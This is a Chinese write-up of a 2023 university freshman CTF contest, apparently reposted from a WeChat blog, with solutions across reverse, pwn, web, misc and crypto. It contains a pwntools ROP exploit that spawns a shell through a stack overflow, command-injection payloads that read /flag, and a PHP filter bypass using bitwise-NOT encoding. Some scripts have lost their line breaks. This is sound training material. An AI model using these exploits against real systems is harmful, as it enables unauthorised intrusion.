【竞赛】2023Dozer新生赛考核wp

admin 2023年10月28日23:38:06评论9 views字数 8617阅读28分43秒阅读模式
点击上方蓝字给我们加星标⭐,不错过最新内容
新生赛总结

本次考核赛为线上考核,持续时间10月2日上午10:00至10月15日下午18:00。赛题分为:web,pwn,reverse,crypto,misc五个方向。经过两周的激烈角逐,孙士雅同学以总分13372位居第一,张雨锋同学以总分11835位居第二,杨鸿博同学以总分11278位居第三。

各班录取人数:23信安1班12人,23信安2班3人,23网安班12人
三名奖励如下:

        1. 机械鼠标+鼠标垫+贴纸
        2. 赠书*2+鼠标垫+贴纸
        3. 赠书+鼠标垫+贴纸

        【竞赛】2023Dozer新生赛考核wp

        以下本次为考核赛wp


        REVERSE

        ReallyEzre

        C源代码,直接查看写exp【竞赛】2023Dozer新生赛考核wp

        #define _crt_secure_no_warnings
        #include<stdio.h>
        #include<string.h>
        
        int main()
        {
            char s[26] = "fq|gt}ygneqogavqaeartkogt";
        
            for (int i = 0; i < strlen(s); i++)
            {
                s[i] -= 2;
            }
            printf("%s", s);
        
            return 0;
        }

        maze

        迷宫题,直接走出来md5(路径即可)

        HelloIDA

        ida装上,点击就送【竞赛】2023Dozer新生赛考核wp

        HelloIDA_revenge

        拖入ida,F12查看可疑字符串

        【竞赛】2023Dozer新生赛考核wp点进去查看调用函数,找到main函数【竞赛】2023Dozer新生赛考核wp查看v3,发现是4+3【竞赛】2023Dozer新生赛考核wp【竞赛】2023Dozer新生赛考核wp字符串和7进行了异或,直接cyberchef一把梭【竞赛】2023Dozer新生赛考核wp

        HelloAPK

        这个题在出题时把页面的flag设置为透明的,这样就不会在应用界面看到了,我们需要利用jadx-gui反编译查找字符串【竞赛】2023Dozer新生赛考核wp

        PWN

        nc cat

        用nc连接

        然后cat flag拿到flag

        nc cat_plus

        用nc连上后ls查看没有flag

        根据题目可知考察的是隐藏文件夹,那直接cat .flag

        即可拿到flag

        计算题

        *第一种解法:*

        纯手搓

        *第二种解法:*

        用python脚本跑,

        from pwn import *

        target = remote('8.130.87.205', 3001)

        for _ in range(50):

        question = target.recvline().decode().strip().strip("=")print("题目:",question)

        actual_answer = eval(question)target.sendline(str(actual_answer))target.recvuntil("Answer correctly!n")

        target.interactive()

        【竞赛】2023Dozer新生赛考核wp

        猜数字

        用ida64打开

        【竞赛】2023Dozer新生赛考核wp

        F5查看伪代码,可以看出这个题首先写了一个srand函数规定随机数种子的值,代表这是一个固定的随机数(伪随机数),然后要我们输入和随机数相同的数才能通过for,否则会重新进行循环。

        当猜对10个数字即可进入shell函数

        【竞赛】2023Dozer新生赛考核wp

        #include <stdio.h>#include <stdlib.h>
        
        
        int main() {  int i,image,buf;
        
        
            srand(0x22);  for(i=0;i<=11;i++){    image=rand()%3;    printf("%d ",image);
        
        
          }}

        【竞赛】2023Dozer新生赛考核wp

        猜拳

        首先用ida64打开,可以看出和猜拳类似,也是考的伪随机数。

        【竞赛】2023Dozer新生赛考核wp

        首先规定随机数种子,for循环50次,要我们输入的数和生成的随机数进行比较如果满足if就会退出,

        我们要输入50个数字进行绕过if(即不能满足if)即可进入shell函数

        【竞赛】2023Dozer新生赛考核wp

        #include <stdio.h>#include <stdlib.h>
        
        
        int main() {  int i,image,buf;
        
        
            srand(0x2a);  for(i=0;i<=50;i++){    image=rand()%3;    if(image==0)    printf("2n");    if(image==1)    printf("0n");    if(image==2)    printf("1n");
        
        
          }}

        【竞赛】2023Dozer新生赛考核wp

        超简单的stack over flow

        用ExeinfoPe查看附件的架构(64位或者32位程序)

        然后用对应ida打开,查看main函数,

        F5反编译,查看伪代码。

        【竞赛】2023Dozer新生赛考核wp

        可以发现程序有gets函数,不限制我们字符串的输入长度,可以造成栈溢出,

        【竞赛】2023Dozer新生赛考核wp

        查看v4的栈长度,程序造成溢出后,我们可以控制程序执行任意代码,劫持程序的返回地址。

        F12查看字符串,

        【竞赛】2023Dozer新生赛考核wp

        发现有命令执行函数system,和/bin/sh获取服务器shell。

        【竞赛】2023Dozer新生赛考核wp

        发现函数表中有可疑函数shell

        【竞赛】2023Dozer新生赛考核wp

        反编译shell函数,发现只有system,但是system并没有执行/bin/sh

        所以我们需要用寄存器rdi给system函数传入/bin/sh来拿到shell

        那我们怎么调用rdi呢

        可以使用RDPgadget来查找rdi的gadgets

        【竞赛】2023Dozer新生赛考核wp

        然后我们给rdi传入/bin/sh的地址然后调用system

        即可拿到shell

        expfrom pwn import *r=process('./stack')#本地连接程序#r = remote('112.6.51.212',30189)#连接远程
        
        
        
        
        
        
        
        
        payload=b'a'*0x78+p64(0x00000000004007e3)+p64(0x400808)+p64(0x40073B)#攻击链r.sendlineafter(b"overflowsnn",payload)#接收发送攻击链r.interactive()#直接进行交互,相当于回到shell的模式

        【竞赛】2023Dozer新生赛考核wp

        WEB

        game

        方法一:

        打通游戏即可获得flag

        方法二:

        查看源代码直接获得flag

        【竞赛】2023Dozer新生赛考核wp

        你会用burpsuite吗

        F12有提示

        【竞赛】2023Dozer新生赛考核wp

        打开 bp 抓包

        【竞赛】2023Dozer新生赛考核wp

        可以看到有 jsfuck 密码直接解密

        【竞赛】2023Dozer新生赛考核wp

        访问这个地址得到 flag

        【竞赛】2023Dozer新生赛考核wp

        你超逊的啦

        这题给的hint是使用bp或者是hackbar,但是我看见有两位用的是不一样的方法,所以我来用四种方法解这

        1

        使用burpsuite

        使用bp的点在于在进行post传参的时候要添加媒体类型信息Content-Type: application/x-www-form

        urlencoded

        【竞赛】2023Dozer新生赛考核wp

        2

        使用hackbar

        【竞赛】2023Dozer新生赛考核wp

        3

        使用curl

        【竞赛】2023Dozer新生赛考核wp

        4

        使用f12控制台

        【竞赛】2023Dozer新生赛考核wp

        easy_rce

        payload:/?p=system('ls /');             //查看文件目录
                /?p=system('cat /flag');     //读文件内容
        知识点:
        request方法传参既能用get也能用post传

        F12

        打开题目

        发现F12,和ctrl+u都不管用

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        解决方法是在网址栏前加view-source:

        【竞赛】2023Dozer新生赛考核wp

        house

        直接查看源代码,在flag.min.js中看到flag位置

        【竞赛】2023Dozer新生赛考核wp

        发现是unicode编码,直接在线网站编译出flag

        【竞赛】2023Dozer新生赛考核wp

        hard_rce

        分析题目,本题过滤了许多字符和全部字母,但没过滤取反符号和数字,所以采用取反绕过,取反代码:

        <?php
        echo urlencode(~'phpinfo');
        ?>

        最终payload:

        ?cmd=(~%8C%86%8C%8B%9A%92)(~%93%8C);
        ?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5);

        wonderful_pass

        首先打开题目网页,看到的是一个前端页面,从这里找关键句:你可以在源码中找到你想要的东西哦,直接右键查看源代码

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        misc

        签到

        关注瞌睡虫小k,输入Dozer2023,即可获取flag

        morse_code

        歌最后有一段摩斯电码

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        开心的picture

        打开是一张图片,binwalk分解出来压缩包,弱密码爆破,密码0721

        Dozer{W0_caI_Bu_Sh1_y1u_zi_cHu}

        充满禅意的嘲讽

        【竞赛】2023Dozer新生赛考核wp

        阴阳怪气解密+佛曰

        阴阳怪气编码 (gitee.io)

        与佛论禅加密版 (by950.top)

        【竞赛】2023Dozer新生赛考核wp

        小新被藏起来了

        【竞赛】2023Dozer新生赛考核wp

        云天明的故事

        根据提示一步步解出flag

        【竞赛】2023Dozer新生赛考核wp

        Steg and CRC

        【竞赛】2023Dozer新生赛考核wp

        破碎的二维码

        将二维码进行旋转拼接,扫码出现flag

        easy的流量:)

        打开流量包 筛选http流量 发现下载流量

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        一个txt文件和zip文件 手动保存zip文件

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        补全文件头

        打开压缩包 发现hint

        【竞赛】2023Dozer新生赛考核wp

        用密码解压缩

        打开发现

        【竞赛】2023Dozer新生赛考核wp

        根据hint给双密码

        仿射密码解密

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        注意这个网站的算法是有问题的

        【竞赛】2023Dozer新生赛考核wp

        CTF在线工具-在线仿射密码加密|在线仿射密码解密|仿射密码算法|Affine Cipher (hiencode.com)

        normal_zip

        嵌套压缩包 ^^

        要么手搓要么脚本(

        import pyzipperimport os
        
        
        def extract_nested_zip(zip_file):      with pyzipper.AESZipFile(zip_file, 'r') as zipf:        password_filename = None        for file_info in zipf.filelist:                      if file_info.filename.startswith('password_'):                password_filename = file_info.filename                break                if password_filename is None:            print(f'未找到密码文件,无法解密压缩包 "{zip_file}"。')            return                      with zipf.open(password_filename) as pwd_file:            password = pwd_file.read().decode()                       with pyzipper.AESZipFile(zip_file, 'r', encryption=pyzipper.WZ_AES) as inner_zipf:            for file_info in inner_zipf.filelist:                inner_zipf.extract(file_info, path='.', pwd=password.encode())                print(f'已解压文件: {file_info.filename}')                        next_zip_filename = None        for file_info in inner_zipf.filelist:            if file_info.filename.endswith('.zip'):                next_zip_filename = file_info.filename                break                if next_zip_filename:            extract_nested_zip(next_zip_filename)
        
        
        if __name__ == '__main__':    outermost_zip_file = 'manyzip_499.zip'      extract_nested_zip(outermost_zip_file)
        

        脚本没优化 压缩包不会自己删除 会保留在本地(

        【竞赛】2023Dozer新生赛考核wp

        【竞赛】2023Dozer新生赛考核wp

        crypto

        base_family

        base64解密->base32解密->base16解密

        Dozer{Y0u_knOw_base_Fami1y}

        FUCK

        考察了两个密码。Brainfuck和JSFuck,直接按顺序解密就出来了

        keyboard

        提示特别明显,答案貌似被包裹起来了,直接键盘上找就行了。围一圈的中间那个字母

        Cloud

        这题是云影密码

        原理很简单,有了1,2,4,8这四个简单的数字,你可以以加法表示出0-9任何一个数字,例如0=28,7=124,9=18。这样,再用1-26来表示A-Z,就可以用作密码了。为了不至于混乱,引用了第五个数字0,来用作间隔,以避免翻译错误,所以还可以称“01248密码”。

        脚本

        a="120222480111222448011224240112448014224201222201844201422084204242242012202224802120184420881210122408240124"s=a.split('0')print(s)l=[]for i in s:    sum=0    for j in i:        sum+=eval(j)    l.append(chr(sum+64))print(''.join(l))

        你吃饭了吗

        根据题目可以看出是培根密码,将10000换成a,00000换成b,即可解出

        爱莉的秘密

        就是凯撒加栅栏加rot13

        easy_ras

        网上找一个类似脚本直接跑就行

        import libnum
        
        
        import gmpy2
        
        
        
        
        
        
        
        
        p = 134096351641873733136655136258930346068666059727369503282043358355700127445567145015864534393648722390354391864886220859764835960001384898109024177275632112341866578728402687911008617032055729760873500316750429826070955961883087776809018398637916325085984289076923243657957898725206939956833810785599676729081
        
        
        q = 174103184868040863643318748725372782590375980254481106844909104639082212404057463322179700704433290948772456739103162440357371611490518612697711739090944270430948454322201815911126010072979510574940873419522755545296895048058252502599021139498869173058848513456305201212185556602542021019786049803486761575619
        
        
        e = 65537
        
        
        n = 23346601900034957555688205728495241197603710402649144851787338023529721742194127312047817399657806766767609016899148890792321953032265424697519828450283061929215380561118334803838533435756788037558393172185799965795876666508514498912225616313132295758111963327975946691723015094769391915622723746219695635703244442263293688623076006730992652392943763278634358911926029815126546840504505510331787504021704653483109395844912490151355318632539550539120625649870737699418228432053253123075546330645737636906674371251100640653395805629579624694238594583468588747282098538736123706732879326510925267827419261467515757876139
        
        
        c = 21059425587138275177851133719489520191806374210483381046129196548327926882726571104652182980009173089102114951221766632805478392995791154212734039464866621083806832531787252690774774079642174403366738764142141333611676848288053968926219012504301602753768504662298743543510989548687429433750042177449318246891000022681153221275734518915972309438820282840114939223344564087181810107485654527166576224292423298530128805470851466693656140130112962076400703900223613390342448935776739787297327454611230862799071044833028841126247371401388582818660833906604610436650137961239491977984238538541018508899164870408658111225592
        
        
        
        
        
        
        
        
        phi = (p-1)*(q-1)
        
        
        
        
        
        
        
        
        d = gmpy2.invert(e, phi)
        
        
        m = gmpy2.powmod(c, d, n)
        
        
        
        
        
        
        
        
        print(libnum.n2s(int(m)).decode())
        

        或者用工具

        【竞赛】2023Dozer新生赛考核wp

        hard_rsa

        通过给出的n分解p,q
        用已经得出的p,q,赋值给解密rsa的脚本
        只要知道p和q,得到d,就能解出rsa,直接用脚本开跑得出flag
        这里给出一个解题脚本不唯一
        flag:
        Dozer{20d6e2da95dcc1fa5f5432a436c4be18}

        import  gmpy2import libnumdef isqrt(n):  x = n  y = (x + n // x) // 2  while y < x:    x = y    y = (x + n // x) // 2  return x
        
        
        def fermat(n, verbose=True):    a = isqrt(n)     b2 = a*a - n    b = isqrt(n)     count = 0    while b*b != b2:        a = a + 1        b2 = a*a - n        b = isqrt(b2)        count += 1    p=a+b    q=a-b    assert n == p * q    print('p=',p)    print('q=',q)    return p, qn= 9902818856222787024563072133440550938710227558135328161789597975061589956056992262033542077154303618976791004431333531566549039602180273711537029693586182757724092450368200557073359408363479337363507885859556647468887536468774671586957716873885078043767796679063965432886918774554067185434296238290330438435760966311141004960151482088020397079850490003346872012237936581379969498669060779635164715522140773054302161538487178356007181001168935521820750705451939658389744968102068056144618223821116178519113949752796472136437303624285646057868957254876748746072125760376198949315110236060132257629082612239437688267817e= 65537c= 5159074368161541220237618453546581685955484179084194024992550056500438408178271386314960904546540848345370535310245598908803315809660211277776672289921238267645740671269916277896450223256967608644746977632342909627272084837606715644342530689351173316353848189214669987733795167033379669336141047211939013874739278870794953469189661132687676706346507396405946492642648897990248958917013256337570746910017175346336103441528515091504265815800116946786279239756724184064237114695548319993781206797074067095779971390244729292540495903352355048685746842568533136142923146303443882436592305037659264720790923302870859093878pq=fermat(n)p=pq[0]q=pq[1]phi_n=(p-1)*(q-1)d=gmpy2.invert(e,phi_n)m=pow(c,d,n)print(m)print(libnum.n2s(int(m)).decode())




















        浪费您一秒时间
        【竞赛】2023Dozer新生赛考核wp
        点个关注不迷路~
        【竞赛】2023Dozer新生赛考核wp
        瞌睡虫小k
        【竞赛】2023Dozer新生赛考核wp
        【竞赛】2023Dozer新生赛考核wp

        原文始发于微信公众号(瞌睡虫小K):【竞赛】2023Dozer新生赛考核wp

        • 左青龙
        • 微信扫一扫
        • weinxin
        • 右白虎
        • 微信扫一扫
        • weinxin
        admin
        • 本文由 发表于 2023年10月28日23:38:06
        • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                         【竞赛】2023Dozer新生赛考核wphttp://cn-sec.com/archives/2155832.html

        发表评论

        匿名网友 填写信息